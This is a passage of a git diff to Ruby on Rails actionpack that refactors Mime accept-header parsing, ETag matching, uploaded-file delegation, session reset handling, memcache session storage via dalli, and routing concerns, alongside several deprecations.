- # # view
- # <%= div_for(post) do %> <div id="post_45" class="post">
- # <%= post.body %> What a wonderful world!
- # <% end %> </div>
- #
- # # controller
- # def update
- # post = Post.find(params[:id])
- # post.update_attributes(params[:post])
- #
- # redirect_to(post) # Calls polymorphic_url(post) which in turn calls post_url(post)
- # end
- #
- # As the example above shows, you can stop caring to a large extent what the actual id of the post is.
- # You just know that one is being assigned and that the subsequent calls in redirect_to expect that
- # same naming convention and allows you to write less code if you follow it.
module RecordIdentifier
- extend self
+ MESSAGE = 'method will no longer be included by default in controllers since Rails 4.1. ' +
+ 'If you would like to use it in controllers, please include ' +
+ 'ActionView::RecodIdentifier module.'
- include ModelNaming
-
- JOIN = '_'.freeze
- NEW = 'new'.freeze
-
- # The DOM class convention is to use the singular form of an object or class.
- #
- # dom_class(post) # => "post"
- # dom_class(Person) # => "person"
- #
- # If you need to address multiple instances of the same class in the same view, you can prefix the dom_class:
- #
- # dom_class(post, :edit) # => "edit_post"
- # dom_class(Person, :edit) # => "edit_person"
- def dom_class(record_or_class, prefix = nil)
- singular = model_name_from_record_or_class(record_or_class).param_key
- prefix ? "#{prefix}#{JOIN}#{singular}" : singular
- end
-
- # The DOM id convention is to use the singular form of an object or class with the id following an underscore.
- # If no id is found, prefix with "new_" instead.
- #
- # dom_id(Post.find(45)) # => "post_45"
- # dom_id(Post.new) # => "new_post"
- #
- # If you need to address multiple instances of the same class in the same view, you can prefix the dom_id:
- #
- # dom_id(Post.find(45), :edit) # => "edit_post_45"
- # dom_id(Post.new, :custom) # => "custom_post"
def dom_id(record, prefix = nil)
- if record_id = record_key_for_dom_id(record)
- "#{dom_class(record, prefix)}#{JOIN}#{record_id}"
- else
- dom_class(record, prefix || NEW)
- end
+ ActiveSupport::Deprecation.warn 'dom_id ' + MESSAGE
+ ActionView::RecordIdentifier.dom_id(record, prefix)
end
- protected
-
- # Returns a string representation of the key attribute(s) that is suitable for use in an HTML DOM id.
- # This can be overwritten to customize the default generated string representation if desired.
- # If you need to read back a key from a dom_id in order to query for the underlying database record,
- # you should write a helper like 'person_record_from_dom_id' that will extract the key either based
- # on the default implementation (which just joins all key attributes with '_') or on your own
- # overwritten version of the method. By default, this implementation passes the key string through a
- # method that replaces all characters that are invalid inside DOM ids, with valid ones. You need to
- # make sure yourself that your dom ids are valid, in case you overwrite this method.
- def record_key_for_dom_id(record)
- key = convert_to_model(record).to_key
- key ? key.join('_') : key
+ def dom_class(record, prefix = nil)
+ ActiveSupport::Deprecation.warn 'dom_class ' + MESSAGE
+ ActionView::RecordIdentifier.dom_class(record, prefix)
end
end
end
diff --git a/actionpack/lib/action_controller/test_case.rb b/actionpack/lib/action_controller/test_case.rb
index bb693c6494..0caeef3192 100644
--- a/actionpack/lib/action_controller/test_case.rb
+++ b/actionpack/lib/action_controller/test_case.rb
@@ -347,14 +347,16 @@ module ActionController
# assert_redirected_to page_url(:title => 'foo')
class TestCase < ActiveSupport::TestCase
- # Use AS::TestCase for the base class when describing a model
+ # Use AC::TestCase for the base class when describing a controller
register_spec_type(self) do |desc|
- Class === desc && desc < ActionController::Base
+ Class === desc && desc < ActionController::Metal
end
+ register_spec_type(/Controller( ?Test)?\z/i, self)
module Behavior
extend ActiveSupport::Concern
include ActionDispatch::TestProcess
+ include ActiveSupport::Testing::ConstantLookup
attr_reader :response, :request
@@ -391,7 +393,9 @@ module ActionController
end
def determine_default_controller_class(name)
- name.sub(/Test$/, '').safe_constantize
+ determine_constant_from_test_name(name) do |constant|
+ Class === constant && constant < ActionController::Metal
+ end
end
def prepare_controller_class(new_class)
diff --git a/actionpack/lib/action_controller/vendor/html-scanner.rb b/actionpack/lib/action_controller/vendor/html-scanner.rb
index 879b31e60e..896208bc05 100644
--- a/actionpack/lib/action_controller/vendor/html-scanner.rb
+++ b/actionpack/lib/action_controller/vendor/html-scanner.rb
@@ -1,20 +1,5 @@
-$LOAD_PATH << "#{File.dirname(__FILE__)}/html-scanner"
+require 'action_view/vendor/html-scanner'
+require 'active_support/deprecation'
-module HTML
- extend ActiveSupport::Autoload
-
- eager_autoload do
- autoload :CDATA, 'html/node'
- autoload :Document, 'html/document'
- autoload :FullSanitizer, 'html/sanitizer'
- autoload :LinkSanitizer, 'html/sanitizer'
- autoload :Node, 'html/node'
- autoload :Sanitizer, 'html/sanitizer'
- autoload :Selector, 'html/selector'
- autoload :Tag, 'html/node'
- autoload :Text, 'html/node'
- autoload :Tokenizer, 'html/tokenizer'
- autoload :Version, 'html/version'
- autoload :WhiteListSanitizer, 'html/sanitizer'
- end
-end
+ActiveSupport::Deprecation.warn 'Vendored html-scanner was moved to action_view, please require "action_view/vendor/html-scanner" instead. ' +
+ 'This file will be removed in Rails 4.1'
diff --git a/actionpack/lib/action_dispatch.rb b/actionpack/lib/action_dispatch.rb
index b382997052..0ec355246e 100644
--- a/actionpack/lib/action_dispatch.rb
+++ b/actionpack/lib/action_dispatch.rb
@@ -38,9 +38,11 @@ module ActionDispatch
class IllegalStateError < StandardError
end
- autoload_under 'http' do
- autoload :Request
- autoload :Response
+ eager_autoload do
+ autoload_under 'http' do
+ autoload :Request
+ autoload :Response
+ end
end
autoload_under 'middleware' do
@@ -99,3 +101,8 @@ module ActionDispatch
end
autoload :Mime, 'action_dispatch/http/mime_type'
+
+ActiveSupport.on_load(:action_view) do
+ ActionView::Base.default_formats ||= Mime::SET.symbols
+ ActionView::Template::Types.delegate_to Mime
+end
diff --git a/actionpack/lib/action_dispatch/http/cache.rb b/actionpack/lib/action_dispatch/http/cache.rb
index a7f93b780e..0d6015d993 100644
--- a/actionpack/lib/action_dispatch/http/cache.rb
+++ b/actionpack/lib/action_dispatch/http/cache.rb
@@ -17,12 +17,21 @@ module ActionDispatch
env[HTTP_IF_NONE_MATCH]
end
+ def if_none_match_etags
+ (if_none_match ? if_none_match.split(/\s*,\s*/) : []).collect do |etag|
+ etag.gsub(/^\"|\"$/, "")
+ end
+ end
+
def not_modified?(modified_at)
if_modified_since && modified_at && if_modified_since >= modified_at
end
def etag_matches?(etag)
- if_none_match && if_none_match == etag
+ if etag
+ etag = etag.gsub(/^\"|\"$/, "")
+ if_none_match_etags.include?(etag)
+ end
end
# Check response freshness (Last-Modified and ETag) against request
diff --git a/actionpack/lib/action_dispatch/http/mime_type.rb b/actionpack/lib/action_dispatch/http/mime_type.rb
index fd86966c50..3d560518e1 100644
--- a/actionpack/lib/action_dispatch/http/mime_type.rb
+++ b/actionpack/lib/action_dispatch/http/mime_type.rb
@@ -1,10 +1,11 @@
require 'set'
require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/string/starts_ends_with'
module Mime
class Mimes < Array
def symbols
- @symbols ||= map {|m| m.to_sym }
+ @symbols ||= map { |m| m.to_sym }
end
%w(<< concat shift unshift push pop []= clear compact! collect!
@@ -23,14 +24,16 @@ module Mime
EXTENSION_LOOKUP = {}
LOOKUP = Hash.new { |h, k| h[k] = Type.new(k) unless k.blank? }
- def self.[](type)
- return type if type.is_a?(Type)
- Type.lookup_by_extension(type.to_s)
- end
+ class << self
+ def [](type)
+ return type if type.is_a?(Type)
+ Type.lookup_by_extension(type)
+ end
- def self.fetch(type)
- return type if type.is_a?(Type)
- EXTENSION_LOOKUP.fetch(type.to_s) { |k| yield k }
+ def fetch(type)
+ return type if type.is_a?(Type)
+ EXTENSION_LOOKUP.fetch(type.to_s) { |k| yield k }
+ end
end
# Encapsulates the notion of a mime type. Can be used at render time, for example, with:
@@ -54,39 +57,90 @@ module Mime
# i.e. following a link, getting an image or posting a form. CSRF protection
# only needs to protect against these types.
@@browser_generated_types = Set.new [:html, :url_encoded_form, :multipart_form, :text]
- cattr_reader :browser_generated_types
attr_reader :symbol
@register_callbacks = []
# A simple helper class used in parsing the accept header
class AcceptItem #:nodoc:
- attr_accessor :order, :name, :q
+ attr_accessor :index, :name, :q
+ alias :to_s :name
- def initialize(order, name, q=nil)
- @order = order
- @name = name.strip
- q ||= 0.0 if @name == Mime::ALL # default wildcard match to end of list
+ def initialize(index, name, q = nil)
+ @index = index
+ @name = name
+ q ||= 0.0 if @name == Mime::ALL.to_s # default wildcard match to end of list
@q = ((q || 1.0).to_f * 100).to_i
end
- def to_s
- @name
- end
-
def <=>(item)
- result = item.q <=> q
- result = order <=> item.order if result == 0
+ result = item.q <=> @q
+ result = @index <=> item.index if result == 0
result
end
def ==(item)
- name == (item.respond_to?(:name) ? item.name : item)
+ @name == item.to_s
end
end
- class << self
+ class AcceptList < Array #:nodoc:
+ def assort!
+ sort!
+
+ # Take care of the broken text/xml entry by renaming or deleting it
+ if text_xml_idx && app_xml_idx
+ app_xml.q = [text_xml.q, app_xml.q].max # set the q value to the max of the two
+ exchange_xml_items if app_xml_idx > text_xml_idx # make sure app_xml is ahead of text_xml in the list
+ delete_at(text_xml_idx) # delete text_xml from the list
+ elsif text_xml_idx
+ text_xml.name = Mime::XML.to_s
+ end
+
+ # Look for more specific XML-based types and sort them ahead of app/xml
+ if app_xml_idx
+ idx = app_xml_idx
+
+ while idx < length
+ type = self[idx]
+ break if type.q < app_xml.q
+
+ if type.name.ends_with? '+xml'
+ self[app_xml_idx], self[idx] = self[idx], app_xml
+ @app_xml_idx = idx
+ end
+ idx += 1
+ end
+ end
+
+ map! { |i| Mime::Type.lookup(i.name) }.uniq!
+ to_a
+ end
+
+ private
+ def text_xml_idx
+ @text_xml_idx ||= index('text/xml')
+ end
+
+ def app_xml_idx
+ @app_xml_idx ||= index(Mime::XML.to_s)
+ end
+
+ def text_xml
+ self[text_xml_idx]
+ end
+
+ def app_xml
+ self[app_xml_idx]
+ end
+
+ def exchange_xml_items
+ self[app_xml_idx], self[text_xml_idx] = text_xml, app_xml
+ @app_xml_idx, @text_xml_idx = text_xml_idx, app_xml_idx
+ end
+ end
+ class << self
TRAILING_STAR_REGEXP = /(text|application)\/\*/
PARAMETER_SEPARATOR_REGEXP = /;\s*\w+="?\w+"?/
@@ -125,75 +179,30 @@ module Mime
def parse(accept_header)
if accept_header !~ /,/
accept_header = accept_header.split(PARAMETER_SEPARATOR_REGEXP).first
- if accept_header =~ TRAILING_STAR_REGEXP
- parse_data_with_trailing_star($1)
- else
- [Mime::Type.lookup(accept_header)]
- end
+ parse_trailing_star(accept_header) || [Mime::Type.lookup(accept_header)]
else
- # keep track of creation order to keep the subsequent sort stable
- list, index = [], 0
- accept_header.split(/,/).each do |header|
+ list, index = AcceptList.new, 0
+ accept_header.split(',').each do |header|
params, q = header.split(PARAMETER_SEPARATOR_REGEXP)
if params.present?
params.strip!
- if params =~ TRAILING_STAR_REGEXP
- parse_data_with_trailing_star($1).each do |m|
- list << AcceptItem.new(index, m.to_s, q)
- index += 1
- end
- else
- list << AcceptItem.new(index, params, q)
- index += 1
- end
- end
- end
- list.sort!
-
- # Take care of the broken text/xml entry by renaming or deleting it
- text_xml = list.index("text/xml")
- app_xml = list.index(Mime::XML.to_s)
-
- if text_xml && app_xml
- # set the q value to the max of the two
- list[app_xml].q = [list[text_xml].q, list[app_xml].q].max
-
- # make sure app_xml is ahead of text_xml in the list
- if app_xml > text_xml
- list[app_xml], list[text_xml] = list[text_xml], list[app_xml]
- app_xml, text_xml = text_xml, app_xml
- end
-
- # delete text_xml from the list
- list.delete_at(text_xml)
-
- elsif text_xml
- list[text_xml].name = Mime::XML.to_s
- end
+ params = parse_trailing_star(params) || [params]
- # Look for more specific XML-based types and sort them ahead of app/xml
-
- if app_xml
- idx = app_xml
- app_xml_type = list[app_xml]
-
- while(idx < list.length)
- type = list[idx]
- break if type.q < app_xml_type.q
- if type.name =~ /\+xml$/
- list[app_xml], list[idx] = list[idx], list[app_xml]
- app_xml = idx
+ params.each do |m|
+ list << AcceptItem.new(index, m.to_s, q)
+ index += 1
end
- idx += 1
end
end
-
- list.map! { |i| Mime::Type.lookup(i.name) }.uniq!
- list
+ list.assort!
end
end
+ def parse_trailing_star(accept_header)
+ parse_data_with_trailing_star($1) if accept_header =~ TRAILING_STAR_REGEXP
+ end
+
# For an input of <tt>'text'</tt>, returns <tt>[Mime::JSON, Mime::XML, Mime::ICS,
# Mime::HTML, Mime::CSS, Mime::CSV, Mime::JS, Mime::YAML, Mime::TEXT]</tt>.
#
@@ -266,25 +275,31 @@ module Mime
# Returns true if Action Pack should check requests using this Mime Type for possible request forgery. See
# ActionController::RequestForgeryProtection.
def verify_request?
+ ActiveSupport::Deprecation.warn "Mime::Type#verify_request? is deprecated and will be removed in Rails 4.1"
@@browser_generated_types.include?(to_sym)
end
- def html?
- @@html_types.include?(to_sym) || @string =~ /html/
+ def self.browser_generated_types
+ ActiveSupport::Deprecation.warn "Mime::Type.browser_generated_types is deprecated and will be removed in Rails 4.1"
+ @@browser_generated_types
end
- def respond_to?(method, include_private = false) #:nodoc:
- super || method.to_s =~ /(\w+)\?$/
+ def html?
+ @@html_types.include?(to_sym) || @string =~ /html/
end
private
def method_missing(method, *args)
- if method.to_s =~ /(\w+)\?$/
- $1.downcase.to_sym == to_sym
+ if method.to_s.ends_with? '?'
+ method[0..-2].downcase.to_sym == to_sym
else
super
end
end
+
+ def respond_to_missing?(method, include_private = false) #:nodoc:
+ method.to_s.ends_with? '?'
+ end
end
end
diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb
index d24c7c7f3f..b8ebeb408f 100644
--- a/actionpack/lib/action_dispatch/http/request.rb
+++ b/actionpack/lib/action_dispatch/http/request.rb
@@ -227,8 +227,11 @@ module ActionDispatch
# TODO This should be broken apart into AD::Request::Session and probably
# be included by the session middleware.
def reset_session
- session.destroy if session && session.respond_to?(:destroy)
- self.session = {}
+ if session && session.respond_to?(:destroy)
+ session.destroy
+ else
+ self.session = {}
+ end
@env['action_dispatch.request.flash_hash'] = nil
end
diff --git a/actionpack/lib/action_dispatch/http/upload.rb b/actionpack/lib/action_dispatch/http/upload.rb
index ce8c2729e9..79437d6e85 100644
--- a/actionpack/lib/action_dispatch/http/upload.rb
+++ b/actionpack/lib/action_dispatch/http/upload.rb
@@ -1,9 +1,28 @@
module ActionDispatch
module Http
+ # Models uploaded files.
+ #
+ # The actual file is accessible via the +tempfile+ accessor, though some
+ # of its interface is available directly for convenience.
+ #
+ # Uploaded files are temporary files whose lifespan is one request. When
+ # the object is finalized Ruby unlinks the file, so there is not need to
+ # clean them with a separate maintenance task.
class UploadedFile
- attr_accessor :original_filename, :content_type, :tempfile, :headers
+ # The basename of the file in the client.
+ attr_accessor :original_filename
- def initialize(hash)
+ # A string with the MIME type of the file.
+ attr_accessor :content_type
+
+ # A +Tempfile+ object with the actual uploaded file. Note that some of
+ # its interface is available directly.
+ attr_accessor :tempfile
+
+ # TODO.
+ attr_accessor :headers
+
+ def initialize(hash) # :nodoc:
@tempfile = hash[:tempfile]
raise(ArgumentError, ':tempfile is required') unless @tempfile
@@ -12,13 +31,39 @@ module ActionDispatch
@headers = hash[:head]
end
- def read(*args)
- @tempfile.read(*args)
+ # Shortcut for +tempfile.read+.
+ def read(length=nil, buffer=nil)
+ @tempfile.read(length, buffer)
+ end
+
+ # Shortcut for +tempfile.open+.
+ def open
+ @tempfile.open
+ end
+
+ # Shortcut for +tempfile.close+.
+ def close(unlink_now=false)
+ @tempfile.close(unlink_now)
+ end
+
+ # Shortcut for +tempfile.path+.
+ def path
+ @tempfile.path
+ end
+
+ # Shortcut for +tempfile.rewind+.
+ def rewind
+ @tempfile.rewind
+ end
+
+ # Shortcut for +tempfile.size+.
+ def size
+ @tempfile.size
end
- # Delegate these methods to the tempfile.
- [:open, :path, :rewind, :size, :eof?].each do |method|
- class_eval "def #{method}; @tempfile.#{method}; end"
+ # Shortcut for +tempfile.eof?+.
+ def eof?
+ @tempfile.eof?
end
private
@@ -29,7 +74,7 @@ module ActionDispatch
end
end
- module Upload
+ module Upload # :nodoc:
# Convert nested Hash to HashWithIndifferentAccess and replace
# file upload hash with UploadedFile objects
def normalize_parameters(value)
diff --git a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
index 7349b578d2..ae38c56a67 100644
--- a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
+++ b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
@@ -37,7 +37,7 @@ module ActionDispatch
end
def status_code
- Rack::Utils.status_code(@@rescue_responses[@exception.class.name])
+ self.class.status_code_for_exception(@exception.class.name)
end
def application_trace
@@ -52,6 +52,10 @@ module ActionDispatch
clean_backtrace(:all)
end
+ def self.status_code_for_exception(class_name)
+ Rack::Utils.status_code(@@rescue_responses[class_name])
+ end
+
private
def original_exception(exception)
diff --git a/actionpack/lib/action_dispatch/middleware/params_parser.rb b/actionpack/lib/action_dispatch/middleware/params_parser.rb
index 1cb803ffb9..2c98ca03a8 100644
--- a/actionpack/lib/action_dispatch/middleware/params_parser.rb
+++ b/actionpack/lib/action_dispatch/middleware/params_parser.rb
@@ -4,6 +4,15 @@ require 'active_support/core_ext/hash/indifferent_access'
module ActionDispatch
class ParamsParser
+ class ParseError < StandardError
+ attr_reader :original_exception
+
+ def initialize(message, original_exception)
+ super(message)
+ @original_exception = original_exception
+ end
+ end
+
DEFAULT_PARSERS = {
Mime::XML => :xml_simple,
Mime::JSON => :json
@@ -38,14 +47,12 @@ module ActionDispatch
when Proc
strategy.call(request.raw_post)
when :xml_simple, :xml_node
- data = Hash.from_xml(request.body.read) || {}
- request.body.rewind if request.body.respond_to?(:rewind)
+ data = Hash.from_xml(request.raw_post) || {}
data.with_indifferent_access
when :yaml
YAML.load(request.raw_post)
when :json
- data = ActiveSupport::JSON.decode(request.body)
- request.body.rewind if request.body.respond_to?(:rewind)
+ data = ActiveSupport::JSON.decode(request.raw_post)
data = {:_json => data} unless data.is_a?(Hash)
data.with_indifferent_access
else
@@ -54,7 +61,7 @@ module ActionDispatch
rescue Exception => e # YAML, XML or Ruby code block errors
logger(env).debug "Error occurred while parsing request parameters.\nContents:\n\n#{request.raw_post}"
- raise e
+ raise ParseError.new(e.message, e)
end
def content_type_from_legacy_post_data_format_header(env)
diff --git a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
index 9b159b2caf..019849ef95 100644
--- a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
@@ -44,6 +44,14 @@ module ActionDispatch
include StaleSessionCheck
include SessionObject
+ # Override rack's method
+ def destroy_session(env, session_id, options)
+ new_sid = super
+ # Reset hash and Assign the new session id
+ env["action_dispatch.request.unsigned_session_cookie"] = new_sid ? { "session_id" => new_sid } : {}
+ new_sid
+ end
+
private
def unpacked_cookie_data(env)
diff --git a/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb b/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb
index 38a737cd2b..b4d6629c35 100644
--- a/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb
@@ -1,15 +1,19 @@
require 'action_dispatch/middleware/session/abstract_store'
-require 'rack/session/memcache'
+begin
+ require 'rack/session/dalli'
+rescue LoadError => e
+ $stderr.puts "You don't have dalli installed in your application. Please add it to your Gemfile and run bundle install"
+ raise e
+end
module ActionDispatch
module Session
- class MemCacheStore < Rack::Session::Memcache
+ class MemCacheStore < Rack::Session::Dalli
include Compatibility
include StaleSessionCheck
include SessionObject
def initialize(app, options = {})
- require 'memcache'
options[:expire_after] ||= options[:expires]
super
end
diff --git a/actionpack/lib/action_dispatch/railtie.rb b/actionpack/lib/action_dispatch/railtie.rb
index 5aad8dd23a..ccc0435a39 100644
--- a/actionpack/lib/action_dispatch/railtie.rb
+++ b/actionpack/lib/action_dispatch/railtie.rb
@@ -25,6 +25,8 @@ module ActionDispatch
'X-Content-Type-Options' => 'nosniff'
}
+ config.eager_load_namespaces << ActionDispatch
+
initializer "action_dispatch.configure" do |app|
ActionDispatch::Http::URL.tld_length = app.config.action_dispatch.tld_length
ActionDispatch::Request.ignore_accept_header = app.config.action_dispatch.ignore_accept_header
diff --git a/actionpack/lib/action_dispatch/request/session.rb b/actionpack/lib/action_dispatch/request/session.rb
index d8bcc28613..a05a23d953 100644
--- a/actionpack/lib/action_dispatch/request/session.rb
+++ b/actionpack/lib/action_dispatch/request/session.rb
@@ -2,7 +2,7 @@ require 'rack/session/abstract/id'
module ActionDispatch
class Request < Rack::Request
- # SessionHash is responsible to lazily load the session from store.
+ # Session is responsible for lazily loading the session from store.
class Session # :nodoc:
ENV_SESSION_KEY = Rack::Session::Abstract::ENV_SESSION_KEY # :nodoc:
ENV_SESSION_OPTIONS_KEY = Rack::Session::Abstract::ENV_SESSION_OPTIONS_KEY # :nodoc:
@@ -70,9 +70,12 @@ module ActionDispatch
def destroy
clear
options = self.options || {}
- @by.send(:destroy_session, @env, options[:id], options)
- options[:id] = nil
+ new_sid = @by.send(:destroy_session, @env, options[:id], options)
+ options[:id] = new_sid # Reset session id with a new value or nil
+
+ # Load the new sid to be written with the response
@loaded = false
+ load_for_write!
end
def [](key)
diff --git a/actionpack/lib/action_dispatch/routing/inspector.rb b/actionpack/lib/action_dispatch/routing/inspector.rb
index bc7229b6a1..c18dc94d4f 100644
--- a/actionpack/lib/action_dispatch/routing/inspector.rb
+++ b/actionpack/lib/action_dispatch/routing/inspector.rb
@@ -37,7 +37,7 @@ module ActionDispatch
def reqs
@reqs ||= begin
reqs = endpoint
- reqs += " #{constraints.inspect}" unless constraints.empty?
+ reqs += " #{constraints.to_s}" unless constraints.empty?
reqs
end
end
diff --git a/actionpack/lib/action_dispatch/routing/mapper.rb b/actionpack/lib/action_dispatch/routing/mapper.rb
index ea5028a7c0..49afa01d25 100644
--- a/actionpack/lib/action_dispatch/routing/mapper.rb
+++ b/actionpack/lib/action_dispatch/routing/mapper.rb
@@ -182,7 +182,7 @@ module ActionDispatch
controller ||= default_controller
action ||= default_action
- unless controller.is_a?(Regexp) || to_shorthand
+ unless controller.is_a?(Regexp)
controller = [@scope[:module], controller].compact.join("/").presence
end
@@ -444,9 +444,10 @@ module ActionDispatch
raise "A rack application must be specified" unless path
- options[:as] ||= app_name(app)
+ options[:as] ||= app_name(app)
+ options[:via] ||= :all
- match(path, options.merge(:to => app, :anchor => false, :format => false, :via => :all))
+ match(path, options.merge(:to => app, :anchor => false, :format => false))
define_generate_prefix(app, options[:as])
self
@@ -756,7 +757,7 @@ module ActionDispatch
#
# Routes can also be constrained to an IP or a certain range of IP addresses:
#
- # constraints(:ip => /192.168.\d+.\d+/) do
+ # constraints(:ip => /192\.168\.\d+\.\d+/) do
# resources :posts
# end
#
@@ -1584,7 +1585,7 @@ module ActionDispatch
end
end
- # Routing Concerns allows you to declare common routes that can be reused
+ # Routing Concerns allow you to declare common routes that can be reused
# inside others resources and routes.
#
# concern :commentable do
@@ -1607,13 +1608,63 @@ module ActionDispatch
module Concerns
# Define a routing concern using a name.
#
- # concern :commentable do
- # resources :comments
+ # Concerns may be defined inline, using a block, or handled by
+ # another object, by passing that object as the second parameter.
+ #
+ # The concern object, if supplied, should respond to <tt>call</tt>,
+ # which will receive two parameters:
+ #
+ # * The current mapper
+ # * A hash of options which the concern object may use
+ #
+ # Options may also be used by concerns defined in a block by accepting
+ # a block parameter. So, using a block, you might do something as
+ # simple as limit the actions available on certain resources, passing
+ # standard resource options through the concern:
+ #
+ # concern :commentable do |options|
+ # resources :comments, options
# end
#
- # Any routing helpers can be used inside a concern.
- def concern(name, &block)
- @concerns[name] = block
+ # resources :posts, concerns: :commentable
+ # resources :archived_posts do
+ # # Don't allow comments on archived posts
+ # concerns :commentable, only: [:index, :show]
+ # end
+ #
+ # Or, using a callable object, you might implement something more
+ # specific to your application, which would be out of place in your
+ # routes file.
+ #
+ # # purchasable.rb
+ # class Purchasable
+ # def initialize(defaults = {})
+ # @defaults = defaults
+ # end
+ #
+ # def call(mapper, options = {})
+ # options = @defaults.merge(options)
+ # mapper.resources :purchases
+ # mapper.resources :receipts
+ # mapper.resources :returns if options[:returnable]
+ # end
+ # end
+ #
+ # # routes.rb
+ # concern :purchasable, Purchasable.new(returnable: true)
+ #
+ # resources :toys, concerns: :purchasable
+ # resources :electronics, concerns: :purchasable
+ # resources :pets do
+ # concerns :purchasable, returnable: false
+ # end
+ #
+ # Any routing helpers can be used inside a concern. If using a
+ # callable, they're accessible from the Mapper that's passed to
+ # <tt>call</tt>.
+ def concern(name, callable = nil, &block)
+ callable ||= lambda { |mapper, options| mapper.instance_exec(options, &block) }
+ @concerns[name] = callable
end
# Use the named concerns
@@ -1627,10 +1678,11 @@ module ActionDispatch
# namespace :posts do
# concerns :commentable
# end
- def concerns(*names)
- names.flatten.each do |name|
+ def concerns(*args)
+ options = args.extract_options!
+ args.flatten.each do |name|
if concern = @concerns[name]
- instance_eval(&concern)
+ concern.call(self, options)
else
raise ArgumentError, "No concern named #{name} was found!"
end
diff --git a/actionpack/lib/action_dispatch/routing/route_set.rb b/actionpack/lib/action_dispatch/routing/route_set.rb
index 32d267d1d6..060d0bfa2f 100644
--- a/actionpack/lib/action_dispatch/routing/route_set.rb
+++ b/actionpack/lib/action_dispatch/routing/route_set.rb
@@ -319,7 +319,7 @@ module ActionDispatch
MountedHelpers.class_eval(<<-RUBY, __FILE__, __LINE__ + 1)
def #{name}
- @#{name} ||= _#{name}
+ @_#{name} ||= _#{name}
end
RUBY
end
@@ -438,12 +438,11 @@ module ActionDispatch
attr_reader :options, :recall, :set, :named_route
- def initialize(options, recall, set, extras = false)
+ def initialize(options, recall, set)
@named_route = options.delete(:use_route)
@options = options.dup
@recall = recall.dup
@set = set
- @extras = extras
normalize_options!
normalize_controller_action_id!
@@ -526,20 +525,12 @@ module ActionDispatch
recall[:action] = options.delete(:action) if options[:action] == 'index'
end
+ # Generates a path from routes, returns [path, params]
+ # if no path is returned the formatter will raise Journey::Router::RoutingError
def generate
- path, params = @set.formatter.generate(:path_info, named_route, options, recall, PARAMETERIZE)
-
- raise_routing_error unless path
-
- return [path, params.keys] if @extras
-
- [path, params]
- rescue Journey::Router::RoutingError
- raise_routing_error
- end
-
- def raise_routing_error
- raise ActionController::RoutingError, "No route matches #{options.inspect}"
+ @set.formatter.generate(:path_info, named_route, options, recall, PARAMETERIZE)
+ rescue Journey::Router::RoutingError => e
+ raise ActionController::UrlGenerationError, "No route matches #{options.inspect} #{e.message}"
end
def different_controller?
@@ -564,11 +555,12 @@ module ActionDispatch
end
def generate_extras(options, recall={})
- generate(options, recall, true)
+ path, params = generate(options, recall)
+ return path, params.keys
end
- def generate(options, recall = {}, extras = false)
- Generator.new(options, recall, self, extras).generate
+ def generate(options, recall = {})
+ Generator.new(options, recall, self).generate
end
RESERVED_OPTIONS = [:host, :protocol, :port, :subdomain, :domain, :tld_length,
diff --git a/actionpack/lib/action_dispatch/routing/url_for.rb b/actionpack/lib/action_dispatch/routing/url_for.rb
index f4c708ea33..d4cd537048 100644
--- a/actionpack/lib/action_dispatch/routing/url_for.rb
+++ b/actionpack/lib/action_dispatch/routing/url_for.rb
@@ -95,6 +95,8 @@ module ActionDispatch
self.default_url_options = {}
end
+
+ include(*_url_for_modules) if respond_to?(:_url_for_modules)
end
def initialize(*)
diff --git a/actionpack/lib/action_dispatch/testing/assertions/dom.rb b/actionpack/lib/action_dispatch/testing/assertions/dom.rb
index 7dc3d0f97c..6c61d4e61a 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/dom.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/dom.rb
@@ -1,4 +1,4 @@
-require 'action_controller/vendor/html-scanner'
+require 'action_view/vendor/html-scanner'
module ActionDispatch
module Assertions
diff --git a/actionpack/lib/action_dispatch/testing/assertions/selector.rb b/actionpack/lib/action_dispatch/testing/assertions/selector.rb
index d19d116a1f..9388d44eef 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/selector.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/selector.rb
@@ -1,4 +1,5 @@
-require 'action_controller/vendor/html-scanner'
+require 'action_view/vendor/html-scanner'
+require 'active_support/core_ext/object/inclusion'
#--
# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
diff --git a/actionpack/lib/action_dispatch/testing/assertions/tag.rb b/actionpack/lib/action_dispatch/testing/assertions/tag.rb
index 68f1347e7c..2e38266aba 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/tag.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/tag.rb
@@ -1,4 +1,4 @@
-require 'action_controller/vendor/html-scanner'
+require 'action_view/vendor/html-scanner'
module ActionDispatch
module Assertions
diff --git a/actionpack/lib/action_dispatch/testing/integration.rb b/actionpack/lib/action_dispatch/testing/integration.rb
index ab584abf68..4bd7b69642 100644
--- a/actionpack/lib/action_dispatch/testing/integration.rb
+++ b/actionpack/lib/action_dispatch/testing/integration.rb
@@ -19,7 +19,7 @@ module ActionDispatch
# - +headers+: Additional headers to pass, as a Hash. The headers will be
# merged into the Rack env hash.
#
- # This method returns an Response object, which one can use to
+ # This method returns a Response object, which one can use to
# inspect the details of the response. Furthermore, if this method was
# called from an ActionDispatch::IntegrationTest object, then that
# object's <tt>@response</tt> instance variable will point to the same
@@ -490,6 +490,9 @@ module ActionDispatch
include ActionController::TemplateAssertions
include ActionDispatch::Routing::UrlFor
+ # Use AD::IntegrationTest for acceptance tests
+ register_spec_type(/(Acceptance|Integration) ?Test\z/i, self)
+
@@app = nil
def self.app
diff --git a/actionpack/lib/action_view.rb b/actionpack/lib/action_view.rb
index 4bd72c5520..091b0d8cd2 100644
--- a/actionpack/lib/action_view.rb
